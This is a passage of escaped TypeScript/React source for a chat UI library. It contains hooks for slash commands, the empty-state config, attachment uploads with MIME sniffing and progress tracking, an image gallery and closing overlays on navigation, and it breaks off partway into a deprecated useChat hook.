};\n  }, [prefix, commandsUrl]);\n\n  return { commands, loading };\n}\n\n/**\n * The full slash-command registry (empty-prefix fetch), shared via\n * react-query so every consumer in one chat surface dedupes to a SINGLE\n * network request.\n *\n * Keyed on `commandsUrl` ALONE — the request sends no `source` param (the\n * hub resolves source server-side), so the URL fully determines the\n * response. Both the onboarding-card list in `<EmbeddableChat>` and the\n * SSE adapter's `displayRef` table lookup read from this one cache entry\n * instead of each firing their own `fetchSlashCommands('')`.\n *\n * `staleTime`/`gcTime: Infinity` → static per session, so toggling modes\n * or remounting the (close-on-unmount) drawer reads from cache, never\n * refetches.\n *\n * `enabled` gates the live fetch: pass `activeMode === 'guide'` (or the\n * SSE adapter's `active` flag) so opening the panel in Mingo mode does\n * NOT hit the commands endpoint at all.\n */\nexport function useSlashCommandRegistry(\n  commandsUrl: string,\n  options?: { enabled?: boolean },\n): { commands: SlashCommandSummary[]; loading: boolean; loaded: boolean } {\n  const query = useQuery({\n    queryKey: [\"chat-slash-commands\", commandsUrl],\n    queryFn: ({ signal }) => fetchSlashCommands(\"\", signal, commandsUrl),\n    enabled: options?.enabled ?? true,\n    staleTime: Infinity,\n    gcTime: Infinity,\n    // The commands registry is non-critical chrome — a failure degrades to an\n    // empty registry (handled in `fetchSlashCommands`). Don't retry: settle to\n    // the neutral empty state immediately so a flaky endpoint never holds the\n    // welcome UI in a loading spinner.\n    retry: false,\n  });\n  return {\n    commands: query.data ?? [],\n    loading: query.isLoading,\n    // \"Loaded\" = the fetch has settled, or it isn't running (disabled).\n    loaded: !query.isLoading,\n  };\n}\n","\"use client\";\n\n/**\n * Client-side hook + helper for the per-platform chat empty-state config.\n *\n * The runtime sibling of `use-slash-commands`. Where the in-app (host-mode)\n * chat receives `emptyStateGreeting` / `suggestedQueries` / `enabledRagTableIds`\n * as SSR props, a cross-origin EMBEDDER has no server hop — it fetches the\n * same three values from the host's `/api/docs/empty-state` endpoint (URL\n * threaded via `useChatRuntime().endpoints.emptyStateUrl`).\n *\n * The lib never depends on hub-internal route paths — the caller threads the\n * URL, exactly like `fetchSlashCommands`.\n */\n\nimport { useQuery } from \"@tanstack/react-query\";\nimport { embedAuthedFetch } from \"../../../utils/embed-authed-fetch\";\n\n/** A structured empty-state quick-action chip — `{ id, label, prompt }` plus an\n *  optional icon (library-glyph name, uploaded URL, or icon props). Mirrors the\n *  hub's `AiAgentQuickActionChip` / the SSR `guideWelcome.quickActions` shape so\n *  the fetched (embed) and prop-injected (host) paths render identically. */\nexport interface EmptyStateQuickAction {\n  id: string;\n  label: string;\n  prompt: string;\n  iconName?: string | null;\n  iconUrl?: string | null;\n  iconProps?: Record<string, unknown> | null;\n}\n\n/** An identity icon (agent mode) — library-glyph name, uploaded URL, or icon\n *  props. Resolved via `<EntityIcon>` as the empty-state glyph. */\nexport interface EmptyStateIcon {\n  name?: string | null;\n  url?: string | null;\n  props?: Record<string, unknown> | null;\n}\n\n/** Wire shape of `GET /api/docs/empty-state` (and the FLAT agent config from\n *  `GET /api/ai-agents/[slug]`, a superset). */\nexport interface EmptyStateConfig {\n  /** Agent DISPLAY NAME — shown as the empty-state title + panel header. ONLY\n   *  the agent public config (`/api/ai-agents/:slug`) emits this; the platform\n   *  empty-state endpoint does NOT, so a non-agent Guide chat keeps its built-in\n   *  \"Guide Mode Chat\" / \"Mingo Guide\" copy. */\n  name: string | null;\n  /** Agent identity ICON — the configurable glyph shown on the empty state.\n   *  Same agent-only provenance as `name`. Null → built-in Mingo mark. */\n  icon: EmptyStateIcon | null;\n  /** Admin-edited greeting (`chat_admin_personas.empty_state_greeting`).\n   *  Null → caller falls back to the explicit prop / in-code default. */\n  greeting: string | null;\n  /** Override-aware enabled RAG-table ids — the chip-catalog filter. */\n  enabledRagTableIds: string[];\n  /** Admin-curated quick actions — the empty-state chips WITH icons. This is the\n   *  primary field both endpoints emit; the chat prefers it over\n   *  `suggestedQueries` so embed chips carry icons (matches the host SSR path). */\n  quickActions: EmptyStateQuickAction[];\n  /** Legacy string-only starter prompts (= `quickActions.map(q => q.prompt)` on\n   *  the agent endpoint; absent on the empty-state endpoint). Kept as a fallback\n   *  for older backends that emit only strings. */\n  suggestedQueries: string[];\n}\n\nconst EMPTY_STATE_FALLBACK: EmptyStateConfig = {\n  name: null,\n  icon: null,\n  greeting: null,\n  enabledRagTableIds: [],\n  quickActions: [],\n  suggestedQueries: [],\n};\n\n/**\n * Fetch the empty-state config for the CURRENT deployment platform. The\n * chat source is server-resolved — the client sends NO `source` param.\n *\n * URL + auth handling mirror `fetchSlashCommands`: `new URL(url, origin)`\n * supports relative (proxied) and absolute paths, and `embedAuthedFetch`\n * attaches the same bearer-act-as + 401 self-heal as every other endpoint.\n *\n * On any non-2xx (auth / rate-limit / chat-disabled) returns the neutral\n * fallback so the empty state silently renders in-code defaults rather than\n * surfacing 401/403/429 toasts.\n */\nexport async function fetchEmptyStateConfig(\n  signal: AbortSignal | undefined,\n  emptyStateUrl: string,\n): Promise<EmptyStateConfig> {\n  try {\n    const url = new URL(emptyStateUrl, window.location.origin);\n    // Bare GET, no body → opt out of the default `Content-Type: application/json`.\n    const res = await embedAuthedFetch(url.toString(), { signal, headers: {} });\n    if (!res.ok) {\n      // 401/403/429/404 are expected (auth / rate-limit / chat-disabled) and stay\n      // silent. A 5xx is a real backend/proxy fault: still fall back gracefully so\n      // the empty state renders, but log it so operators can distinguish a broken\n      // empty-state proxy from \"admin configured nothing\".\n      if (res.status >= 500) {\n        console.error(`[chat] empty-state config fetch failed (${res.status}): ${url.pathname}`);\n      }\n      return EMPTY_STATE_FALLBACK;\n    }\n    const data = (await res.json()) as Partial<EmptyStateConfig> | null;\n    return {\n      name: data?.name ?? null,\n      icon: data?.icon ?? null,\n      greeting: data?.greeting ?? null,\n      enabledRagTableIds: data?.enabledRagTableIds ?? [],\n      quickActions: data?.quickActions ?? [],\n      suggestedQueries: data?.suggestedQueries ?? [],\n    };\n  } catch (err) {\n    // Cancellation (unmount / dep change) MUST propagate so react-query treats\n    // it as cancelled. Every OTHER failure (network down, proxy reject, non-JSON\n    // body) degrades to the neutral fallback so a flaky empty-state endpoint can\n    // NEVER break the chat — the empty state just renders the in-code defaults.\n    if ((err as Error)?.name === \"AbortError\") throw err;\n    console.warn(\"[chat] empty-state config fetch failed, using neutral defaults:\", err);\n    return EMPTY_STATE_FALLBACK;\n  }\n}\n\n/**\n * Shared empty-state config (single fetch per chat surface), via react-query\n * so every consumer dedupes to ONE request. Keyed on `emptyStateUrl` ALONE —\n * the request sends no `source` param (resolved server-side), so the URL\n * fully determines the response.\n *\n * `staleTime`/`gcTime: Infinity` → static per session (toggling modes or\n * remounting the drawer reads from cache, never refetches).\n *\n * `enabled` gates the live fetch: pass `false` (e.g. when `emptyStateUrl` is\n * unset, host-mode) to skip the network call entirely; the hook then returns\n * the neutral fallback and `loaded: true`.\n */\nexport function useEmptyStateConfig(\n  emptyStateUrl: string | undefined,\n  options?: { enabled?: boolean },\n): { config: EmptyStateConfig; loading: boolean; loaded: boolean } {\n  const enabled = (options?.enabled ?? true) && !!emptyStateUrl;\n  const query = useQuery({\n    queryKey: [\"chat-empty-state\", emptyStateUrl],\n    queryFn: ({ signal }) => fetchEmptyStateConfig(signal, emptyStateUrl as string),\n    enabled,\n    staleTime: Infinity,\n    gcTime: Infinity,\n    // The empty-state config is non-critical chrome — a failure degrades to the\n    // neutral fallback (handled in `fetchEmptyStateConfig`). Don't retry: settle\n    // immediately so a flaky endpoint never holds the welcome in a spinner.\n    retry: false,\n  });\n  return {\n    config: query.data ?? EMPTY_STATE_FALLBACK,\n    loading: query.isLoading && enabled,\n    // \"Loaded\" = settled, or not running (disabled / no URL).\n    loaded: !enabled || !query.isLoading,\n  };\n}\n","'use client'\n\n/**\n * Chat-attachment upload state machine.\n *\n * Multi-file state (precedent: hub `components/blog/image-upload-manager.tsx`).\n * Magic-byte sniff via `file-type` BEFORE upload (rejects extension\n * spoofs like `evil.exe` renamed `screenshot.png`). Per-attachment\n * `AbortController` for clean remove-mid-upload.\n *\n * Auth propagation:\n *   - `embedAuthedFetch` carries bearer-act-as headers + Supabase\n *     session cookies — used both for minting the upload URL and as\n *     the auth path before falling through to the signed PUT.\n *   - The byte-PUT to the signed URL uses an inline `uploadWithProgress`\n *     XHR helper (ported from the hub `unified-upload-service`) so the\n *     lib-side chat hook is self-contained.\n *\n * URL endpoint: `runtime.endpoints.attachmentUploadUrl` (hub default\n * `/api/storage/generate-upload-url`). Embedded apps override.\n *\n * Dedup: files keyed by `(name, size, lastModified)` — second pick of\n * the same file is silently ignored.\n */\n\nimport { useCallback, useMemo, useRef, useState } from 'react'\nimport { fileTypeFromBlob } from 'file-type'\nimport { useRequiredChatRuntime } from '../../../contexts/chat-runtime-context'\nimport { embedAuthedFetch } from '../../../utils/embed-authed-fetch'\nimport {\n  CHAT_ATTACHMENT_MIME_TYPES,\n  CHAT_ATTACHMENT_CONCURRENT_UPLOADS_PER_USER,\n} from '../chat-attachment-bar'\nimport type { ChatAttachment } from '../utils/chat-attachment-markdown'\n\n// ---------------------------------------------------------------------------\n// Inlined hub-side constants (single source of truth — `lib/config/\n// chat-attachment-config.ts` on the hub). Hard-coded here so the lib\n// hook is self-contained; if hub-side bumps the cap, update both.\n// ---------------------------------------------------------------------------\n\nconst CHAT_ATTACHMENTS_BUCKET = 'chat-attachments'\nconst CHAT_ATTACHMENTS_FOLDER = 'chat'\nconst CHAT_ATTACHMENT_MAX_SIZE_BYTES = 25 * 1024 * 1024\n\n/** Cache-Control header for content-addressed uploads — Storage paths\n *  embed `{timestamp}-{random}-{filename}` so a given URL is immutable. */\nconst STORAGE_CACHE_CONTROL_IMMUTABLE = 'public, max-age=31536000, immutable'\n\ntype Status = 'sniffing' | 'uploading' | 'ready' | 'error'\n\n/** Internal staged-attachment shape (more fields than the wire\n *  `ChatAttachment` — carries state-machine metadata). */\nexport interface StagedAttachment {\n  /** Stable client-side id; survives across re-renders. */\n  id: string\n  file: File\n  status: Status\n  /** Set when `status === 'ready'`. Server-issued. */\n  storagePath?: string\n  /** Set when `status === 'ready'`. Server-issued HMAC view token. */\n  viewToken?: string\n  /** 0-100 during 'uploading'. */\n  progress: number\n  /** Set when `status === 'error'`. */\n  errorMessage?: string\n}\n\n/** Response shape from `/api/storage/generate-upload-url`. */\ninterface UploadUrlResponse {\n  uploadUrl: string\n  filePath: string\n  token: string\n  bucket: string\n  publicUrl: string | null\n  viewToken: string | null\n}\n\ninterface UseChatAttachmentsApi {\n  attachments: StagedAttachment[]\n  /** All staged files in 'ready' state, projected to the wire\n   *  `ChatAttachment` shape — pass to `sendMessage`'s `pendingAttachments`. */\n  readyAttachments: ChatAttachment[]\n  /** True iff any attachment is mid-upload — Send button reads this\n   *  to disable itself. */\n  hasInflightUploads: boolean\n  addFiles: (files: FileList | File[]) => void\n  removeAttachment: (id: string) => void\n  clear: () => void\n}\n\n/**\n * Inline `uploadWithProgress` — XHR PUT to a Supabase signed-upload URL\n * with progress + abort support. Ported verbatim from the hub\n * `unified-upload-service.ts`. Maps the XHR 0-100 to the caller's 10-95\n * range (leaving 0-10 for the mint + 95-100 for state transitions).\n *\n * AbortSignal wiring: `signal?.addEventListener('abort', () => xhr.abort())`\n * — without this, calling `removeAttachment`/`clear()` aborts the\n * controller but the XHR runs to completion and bytes still land in\n * Supabase.\n */\nfunction uploadWithProgress(\n  url: string,\n  file: File,\n  token: string,\n  onProgress?: (progress: number) => void,\n  signal?: AbortSignal,\n): Promise<void> {\n  return new Promise((resolve, reject) => {\n    if (signal?.aborted) {\n      reject(new Error('Upload cancelled'))\n      return\n    }\n    const xhr = new XMLHttpRequest()\n    let isCompleted = false\n\n    const cleanup = () => {\n      if (isCompleted) return\n      isCompleted = true\n      xhr.upload.removeEventListener('progress', handleProgress)\n      xhr.removeEventListener('load', handleLoad)\n      xhr.removeEventListener('error', handleError)\n      xhr.removeEventListener('abort', handleAbort)\n      xhr.removeEventListener('timeout', handleTimeout)\n      signal?.removeEventListener('abort', handleSignalAbort)\n      if (xhr.readyState !== XMLHttpRequest.DONE) xhr.abort()\n    }\n\n    const handleProgress = (event: ProgressEvent) => {\n      if (event.lengthComputable && onProgress) {\n        // Map 0-100 of network progress to 10-95.\n        const pct = 10 + (event.loaded / event.total) * 85\n        onProgress(Math.round(pct))\n      }\n    }\n\n    const handleLoad = () => {\n      cleanup()\n      if (xhr.status >= 200 && xhr.status < 300) {\n        resolve()\n      } else {\n        reject(\n          new Error(\n            `Upload failed with status ${xhr.status}: ${xhr.responseText || xhr.statusText}`,\n          ),\n        )\n      }\n    }\n\n    const handleError = () => {\n      cleanup()\n      reject(new Error('Network error during upload'))\n    }\n    const handleAbort = () => {\n      cleanup()\n      reject(new Error('Upload cancelled'))\n    }\n    const handleTimeout = () => {\n      cleanup()\n      reject(new Error('Upload timed out'))\n    }\n    const handleSignalAbort = () => {\n      xhr.abort()\n    }\n    signal?.addEventListener('abort', handleSignalAbort, { once: true })\n\n    xhr.upload.addEventListener('progress', handleProgress)\n    xhr.addEventListener('load', handleLoad)\n    xhr.addEventListener('error', handleError)\n    xhr.addEventListener('abort', handleAbort)\n    xhr.addEventListener('timeout', handleTimeout)\n\n    xhr.open('PUT', url)\n    xhr.setRequestHeader('Authorization', `Bearer ${token}`)\n    // `x-upsert: true` — signed upload tokens can target the same path\n    // more than once on retry; without this header, Storage returns 409\n    // on the second attempt instead of overwriting.\n    xhr.setRequestHeader('x-upsert', 'true')\n    xhr.setRequestHeader('Content-Type', file.type)\n    xhr.setRequestHeader('cache-control', STORAGE_CACHE_CONTROL_IMMUTABLE)\n    xhr.timeout = 30 * 60 * 1000\n    xhr.send(file)\n  })\n}\n\nexport function useChatAttachments(): UseChatAttachmentsApi {\n  const runtime = useRequiredChatRuntime()\n  const uploadUrlEndpoint = runtime.endpoints.attachmentUploadUrl\n\n  const [attachments, setAttachments] = useState<StagedAttachment[]>([])\n  // AbortControllers indexed by attachment id. Survives re-renders.\n  const controllersRef = useRef<Map<string, AbortController>>(new Map())\n\n  const updateOne = useCallback((id: string, patch: Partial<StagedAttachment>) => {\n    setAttachments((prev) => prev.map((a) => (a.id === id ? { ...a, ...patch } : a)))\n  }, [])\n\n  const removeAttachment = useCallback((id: string) => {\n    // Abort any in-flight work for this attachment.\n    const ctrl = controllersRef.current.get(id)\n    if (ctrl) {\n      ctrl.abort()\n      controllersRef.current.delete(id)\n    }\n    setAttachments((prev) => prev.filter((a) => a.id !== id))\n  }, [])\n\n  const clear = useCallback(() => {\n    for (const ctrl of controllersRef.current.values()) ctrl.abort()\n    controllersRef.current.clear()\n    setAttachments([])\n  }, [])\n\n  const uploadOne = useCallback(\n    async (att: StagedAttachment) => {\n      const ctrl = controllersRef.current.get(att.id)\n      try {\n        // 1. Magic-byte sniff. The `file` ARG is a Blob; `fileTypeFromBlob`\n        //    reads the first few KB. Rejects extension spoofs.\n        let sniffed: { mime: string } | undefined\n        try {\n          sniffed = await fileTypeFromBlob(att.file)\n        } catch (err) {\n          if (ctrl?.signal.aborted) return\n          throw new Error(\n            `Could not read file content: ${err instanceof Error ? err.message : String(err)}`,\n          )\n        }\n        if (ctrl?.signal.aborted) return\n        if (!sniffed) {\n          throw new Error('Unrecognized file format')\n        }\n        const actualMime = sniffed.mime\n        if (!(CHAT_ATTACHMENT_MIME_TYPES as readonly string[]).includes(actualMime)) {\n          throw new Error(\n            `File type \"${actualMime}\" is not allowed. ` +\n              `Allowed: ${CHAT_ATTACHMENT_MIME_TYPES.join(', ')}`,\n          )\n        }\n\n        // 2. Move to 'uploading' and POST the URL-mint request with\n        //    bearer-act-as headers (if present).\n        updateOne(att.id, { status: 'uploading', progress: 5 })\n\n        const urlResp = await embedAuthedFetch(uploadUrlEndpoint, {\n          method: 'POST',\n          headers: { 'Content-Type': 'application/json' },\n          signal: ctrl?.signal,\n          body: JSON.stringify({\n            fileName: att.file.name,\n            // Pass the SNIFFED MIME (not `file.type`, which can be a\n            // user-supplied lie) so the server's MIME pre-validation\n            // matches reality.\n            fileType: actualMime,\n            bucket: CHAT_ATTACHMENTS_BUCKET,\n            folder: CHAT_ATTACHMENTS_FOLDER,\n          }),\n        })\n\n        if (!urlResp.ok) {\n          const errBody = await urlResp.json().catch(() => ({}))\n          throw new Error(errBody.error || `Failed to mint upload URL: ${urlResp.statusText}`)\n        }\n\n        const mintData = (await urlResp.json()) as UploadUrlResponse\n        if (!mintData.viewToken) {\n          throw new Error('Server did not return a viewToken for the chat-attachments bucket')\n        }\n\n        // 3. PUT the bytes via inline `uploadWithProgress`.\n        await uploadWithProgress(\n          mintData.uploadUrl,\n          att.file,\n          mintData.token,\n          (pct) => {\n            updateOne(att.id, { progress: pct })\n          },\n          ctrl?.signal,\n        )\n\n        if (ctrl?.signal.aborted) return\n\n        // 4. Mark ready.\n        updateOne(att.id, {\n          status: 'ready',\n          progress: 100,\n          storagePath: mintData.filePath,\n          viewToken: mintData.viewToken,\n        })\n      } catch (err) {\n        if (ctrl?.signal.aborted) return\n        const message = err instanceof Error ? err.message : String(err)\n        updateOne(att.id, { status: 'error', progress: 0, errorMessage: message })\n      } finally {\n        controllersRef.current.delete(att.id)\n      }\n    },\n    [uploadUrlEndpoint, updateOne],\n  )\n\n  // `attachmentsRef` mirrors the staged set for SYNCHRONOUS reads\n  // during `addFiles`. Two assignment sites keep it in lockstep:\n  //   (a) `attachmentsRef.current = attachments` after every render —\n  //       picks up state mutations from `updateOne` / `removeAttachment`\n  //       / `clear`.\n  //   (b) `attachmentsRef.current = [...attachmentsRef.current,\n  //       ...additions]` INSIDE `addFiles` BEFORE `setAttachments`\n  //       commits — guarantees a SECOND `addFiles` call in the same\n  //       tick sees the first call's additions for dedup.\n  const attachmentsRef = useRef<StagedAttachment[]>([])\n  attachmentsRef.current = attachments\n\n  const addFiles = useCallback(\n    (files: FileList | File[]) => {\n      const arr = Array.from(files)\n      if (arr.length === 0) return\n\n      // Compute additions OUTSIDE the setState updater — the updater\n      // must be a pure function. React 18 StrictMode invokes updaters\n      // TWICE in dev; concurrent transitions can do the same in prod.\n      // If side effects (UUID gen, controllerRef.set, uploadOne) lived\n      // inside, each render double-fired the upload.\n      const prev = attachmentsRef.current\n      const seen = new Set(\n        prev.map((a) => `${a.file.name}|${a.file.size}|${a.file.lastModified}`),\n      )\n      const additions: StagedAttachment[] = []\n      // `error`-status chips don't count toward the cap — they're\n      // visual diagnostics, not active uploads. Without this filter\n      // a single oversized-file mistake would block the user from\n      // adding further files until they manually `×` the error chip.\n      const remainingSlots = Math.max(\n        0,\n        CHAT_ATTACHMENT_CONCURRENT_UPLOADS_PER_USER -\n          prev.filter((a) => a.status !== 'error').length,\n      )\n      for (const file of arr) {\n        if (additions.length >= remainingSlots) break\n        const key = `${file.name}|${file.size}|${file.lastModified}`\n        if (seen.has(key)) continue\n\n        // Size pre-check — server-side bucket policy is the\n        // authoritative gate, but rejecting here saves the user a\n        // round-trip on obviously-too-big files.\n        if (file.size > CHAT_ATTACHMENT_MAX_SIZE_BYTES) {\n          additions.push({\n            id: crypto.randomUUID(),\n            file,\n            status: 'error',\n            progress: 0,\n            errorMessage: `File too large (${(file.size / 1024 / 1024).toFixed(1)} MB; max 25 MB)`,\n          })\n          seen.add(key)\n          continue\n        }\n\n        additions.push({\n          id: crypto.randomUUID(),\n          file,\n          status: 'sniffing',\n          progress: 0,\n        })\n        seen.add(key)\n      }\n\n      if (additions.length === 0) return\n\n      // SYNCHRONOUSLY update the ref BEFORE the React commit. Without\n      // this, a second `addFiles` call in the SAME tick (paste-then-drop\n      // browser event sequence; touch-then-mouse on iOS hybrid; double\n      // user clicks on the chip-strip's hidden file input) would read\n      // the same stale `attachmentsRef.current` and bypass dedup.\n      attachmentsRef.current = [...prev, ...additions]\n\n      // Register AbortControllers + kick off uploads BEFORE the state\n      // commit. The XHR doesn't depend on React state; `uploadOne`'s\n      // `updateOne` calls are queued behind this `setAttachments`,\n      // so by the time the first progress callback fires React has\n      // already rendered the new chips.\n      for (const a of additions) {\n        if (a.status === 'sniffing') {\n          const ctrl = new AbortController()\n          controllersRef.current.set(a.id, ctrl)\n          void uploadOne(a)\n        }\n      }\n\n      // Pure updater — no side effects, idempotent under StrictMode\n      // double-invocation.\n      setAttachments((p) => [...p, ...additions])\n    },\n    [uploadOne],\n  )\n\n  // Memoized so `handleSend`'s `useCallback([readyAttachments, ...])`\n  // doesn't re-create the handler (and re-render `ChatInput`) on every\n  // unrelated re-render. Stable reference while the underlying\n  // attachments array is unchanged.\n  const readyAttachments: ChatAttachment[] = useMemo(\n    () =>\n      attachments\n        .filter(\n          (a): a is StagedAttachment & { storagePath: string; viewToken: string } =>\n            a.status === 'ready' && !!a.storagePath && !!a.viewToken,\n        )\n        .map((a) => ({\n          storagePath: a.storagePath,\n          viewToken: a.viewToken,\n          contentType: a.file.type,\n          fileName: a.file.name,\n          size: a.file.size,\n        })),\n    [attachments],\n  )\n\n  const hasInflightUploads = attachments.some(\n    (a) => a.status === 'sniffing' || a.status === 'uploading',\n  )\n\n  return {\n    attachments,\n    readyAttachments,\n    hasInflightUploads,\n    addFiles,\n    removeAttachment,\n    clear,\n  }\n}\n","'use client'\n\n/**\n * Click-to-expand handler for chat-attachment images in the chat thread.\n *\n * Returns `{ panelRef, modal }`:\n *   - `panelRef` — attach to the chat content wrapper. The hook\n *     installs a delegated `click` listener on this ref.\n *   - `modal` — render as a sibling of the chat panel (so it lives\n *     OUTSIDE any overflow-hidden message bubbles). Returns `null`\n *     while closed.\n *\n * Behavior on click:\n *   1. Filter for `<img>` whose `src` starts with the runtime's\n *      `attachmentViewUrlPrefix` (so non-chat images don't intercept).\n *   2. Walk up to the nearest `[data-message-role]` ancestor — the\n *      boundary the chat-shell wraps each message bubble with.\n *   3. Collect ALL chat-attachment `<img>`s inside that boundary in\n *      DOM order. Compute the clicked index for `initialIndex`.\n *   4. Open `ImageGalleryModal` (UI-Kit, also used by\n *      `roadmap-card.tsx` for screenshot expansion).\n *\n * The hook deliberately owns the click DOM-walk + modal state so\n * the host component consumes a single `{panelRef, modal}` API.\n */\n\nimport { useCallback, useEffect, useRef, useState } from 'react'\nimport { ImageGalleryModal } from '../../ui/image-gallery-modal'\nimport { useRequiredChatRuntime } from '../../../contexts/chat-runtime-context'\n\ninterface GalleryState {\n  isOpen: boolean\n  images: string[]\n  initialIndex: number\n}\n\nconst CLOSED: GalleryState = { isOpen: false, images: [], initialIndex: 0 }\n\nexport function useChatAttachmentImageGallery() {\n  const runtime = useRequiredChatRuntime()\n  const viewUrlPrefix = runtime.endpoints.attachmentViewUrlPrefix\n  const panelRef = useRef<HTMLDivElement | null>(null)\n  const [state, setState] = useState<GalleryState>(CLOSED)\n\n  const handleClose = useCallback(() => setState(CLOSED), [])\n\n  useEffect(() => {\n    const root = panelRef.current\n    if (!root) return\n\n    const onClick = (ev: Event) => {\n      const target = ev.target as HTMLElement | null\n      if (!target) return\n      // Match an <img> whose `src` starts with the proxy URL prefix.\n      const img = target.closest('img') as HTMLImageElement | null\n      if (!img || !img.src.startsWith(absolutize(viewUrlPrefix))) return\n\n      // Walk up to the message-bubble boundary.\n      const bubble = img.closest('[data-message-role]')\n      if (!bubble) {\n        // Fallback: open the modal with just the clicked image.\n        ev.preventDefault()\n        setState({ isOpen: true, images: [img.src], initialIndex: 0 })\n        return\n      }\n\n      // Collect all chat-attachment images inside this bubble in DOM\n      // order. The `closest` lookup matched img.src.startsWith already,\n      // but we re-check below because `querySelectorAll` returns ALL\n      // <img>s in the bubble (avatar images etc.).\n      const allImgs = Array.from(bubble.querySelectorAll('img')) as HTMLImageElement[]\n      const matching = allImgs.filter((el) => el.src.startsWith(absolutize(viewUrlPrefix)))\n      if (matching.length === 0) return\n\n      const idx = Math.max(0, matching.indexOf(img))\n      ev.preventDefault()\n      setState({\n        isOpen: true,\n        images: matching.map((el) => el.src),\n        initialIndex: idx,\n      })\n    }\n\n    root.addEventListener('click', onClick)\n    return () => root.removeEventListener('click', onClick)\n  }, [viewUrlPrefix])\n\n  // `ImageGalleryModal` doesn't accept `null` for `images` — render\n  // it only when open. Closing returns `null` so the modal unmounts\n  // and React garbage-collects any blob URLs it might hold.\n  const modal = state.isOpen ? (\n    <ImageGalleryModal\n      images={state.images}\n      isOpen={state.isOpen}\n      onClose={handleClose}\n      initialIndex={state.initialIndex}\n    />\n  ) : null\n\n  return { panelRef, modal }\n}\n\n/** Absolutize a prefix for comparison against `<img>.src`. Browsers\n *  resolve `<img src=\"/api/storage/view/...\">` to an absolute URL when\n *  reading `.src` — we need the same shape on the prefix to match.\n *\n *  Embedded apps that supply an absolute prefix already work as-is\n *  (the prefix matches `.src` directly). For relative prefixes (host\n *  mode), prefix with `window.location.origin`. */\nfunction absolutize(prefix: string): string {\n  if (prefix.startsWith('http://') || prefix.startsWith('https://')) return prefix\n  if (typeof window === 'undefined') return prefix\n  return `${window.location.origin}${prefix.startsWith('/') ? '' : '/'}${prefix}`\n}\n","'use client'\n\n/**\n * Close a layout-mounted overlay when the URL pathname changes.\n *\n * Why this exists\n * ---------------\n * Modals, drawers, dropdowns, and side panels rendered in the ROOT LAYOUT\n * (siblings of `{children}` in `app/layout.tsx`) DO NOT unmount across\n * same-platform route changes. Their internal `isOpen` state survives every\n * navigation. Most of these overlays apply body-level styles while open —\n * `<body style=\"pointer-events: none; overflow: hidden\">` via Radix's\n * `@radix-ui/react-remove-scroll`, or direct `document.body.style` writes —\n * to lock scroll behind the overlay.\n *\n * If a navigation fires while one of these overlays is open, the body\n * styles stay locked under the new page → unscrollable page, un-clickable\n * floating buttons (`<body>` descendants get `pointer-events:none`\n * inherited), or stale visible backdrops blocking clicks underneath.\n *\n * This hook closes the overlay automatically when the pathname changes,\n * which triggers the overlay's normal close flow (Radix transition,\n * useEffect cleanup, motion exit) → body styles get cleaned up correctly.\n *\n * Skip-first-render semantics\n * ---------------------------\n * The hook only fires `close()` on a REAL pathname change. The very first\n * render after mount has no \"previous pathname\" to compare against — we\n * track it with a ref and skip the initial call. Without this guard the\n * hook would always invoke `close()` on mount, which is a no-op when the\n * overlay is already closed but masks bugs where `isOpen` defaults to\n * `true` (legitimate UX in some flows).\n *\n * Usage\n * -----\n * The lib version is router-agnostic — the caller threads the current\n * pathname so the hook works under any router (Next.js `usePathname`,\n * react-router `useLocation`, or a vanilla `window.location.pathname`\n * subscription). Hub callers wrap this hook to bind `usePathname()`\n * from `next/navigation`.\n *\n *   // Lib (direct):\n *   useCloseOnNavigation(() => setIsOpen(false), pathname)\n *\n *   // Hub wrapper:\n *   export function useCloseOnNavigation(close: () => void) {\n *     return libUseCloseOnNavigation(close, usePathname())\n *   }\n *\n * Do NOT call this from page-level components — those unmount on\n * navigation already and the close fires for free via the normal\n * useEffect cleanup pattern. This is for the persistent layout shell.\n */\n\nimport { useEffect, useRef } from 'react'\n\nexport function useCloseOnNavigation(\n  close: () => void,\n  pathname: string | null,\n): void {\n  const prevPathnameRef = useRef<string | null>(null)\n  // Track whether we've seen the first render. Using a ref instead of\n  // a `null` sentinel on prevPathnameRef so callers passing `null` as\n  // a legitimate pathname value (server-side / pre-route-resolve) don't\n  // get the first-render skip retriggered every time pathname rebinds\n  // to null.\n  const initializedRef = useRef(false)\n\n  useEffect(() => {\n    // First render: just record the starting pathname, do NOT close.\n    if (!initializedRef.current) {\n      initializedRef.current = true\n      prevPathnameRef.current = pathname\n      return\n    }\n    // Subsequent renders: fire close ONLY on a real pathname change.\n    if (prevPathnameRef.current !== pathname) {\n      prevPathnameRef.current = pathname\n      close()\n    }\n    // We intentionally exclude `close` from deps — the caller is expected\n    // to pass a stable callback. Including `close` would re-run the effect\n    // every render and require every caller to memoize, which is a worse\n    // ergonomic trade-off than the documented \"stable callback\" contract.\n    // eslint-disable-next-line react-hooks/exhaustive-deps\n  }, [pathname])\n}\n","'use client'\n\n/**\n * @deprecated Phase 3 of the chat unification moved the SSE adapter off this\n * hook — its trailing-assistant merge + `decision_resolved` receipt path now\n * live in `../stream/chat-stream-reducer` (transport: 'sse'). No lib-internal\n * code consumes `useChat`/`useSSE` anymore; they remain exported for external\n * consumers until Phase 4 migrates them, then get deleted (Phase 6).\n */\n\nimport { useState, useCallback, useEffect, useRef } from 'react'\nimport { useSSE, type StreamFn, type StreamFnExtraOptions } from './use-sse'\nimport type {\n  Message,\n  MessageSegment,\n  ToolExecutionData,\n} from '../types/message.types'\n\nexport type { Message } from '../types/message.types'\nexport type { StreamFnExtraOptions } from './use-sse'\n\ninterface UseChatOptions {\n  useMock?: boolean\n  debugMode?: boolean\n  assistantName?: string\n  assistantAvatar?: string\n  /** Custom stream function — bypasses mock/SSE service when provided */\n  streamFn?: StreamFn\n  /** Initial messages (e.g., restored from localStorage). Evaluated once on mount. */\n  initialMessages?: Message[]\n  /** Called whenever the messages array changes — use for persistence. */\n  onMessagesChange?: (messages: Message[]) => void\n}\n\nfunction isToolSegment(\n  segment: MessageSegment,\n): segment is { type: 'tool_execution'; data: ToolExecutionData } {\n  return segment.type === 'tool_execution'\n}\n\nexport function useChat({\n  useMock = true,\n  debugMode = false,\n  assistantName = 'Fae',\n  assistantAvatar,\n  streamFn,\n  initialMessages,\n  onMessagesChange,\n}: UseChatOptions = {}) {\n  const [messages, setMessages] = useState<Message[]>(() => initialMessages ?? [])\n  const [isTyping, setIsTyping] = useState(false)\n  const currentAssistantSegmentsRef = useRef<MessageSegment[]>([])\n\n  // Notify the host whenever messages change so it can persist them.\n  const onMessagesChangeRef = useRef(onMessagesChange)\n  onMessagesChangeRef.current = onMessagesChange\n  useEffect(() => {\n    onMessagesChangeRef.current?.(messages)\n  }, [messages])\n\n  const {\n    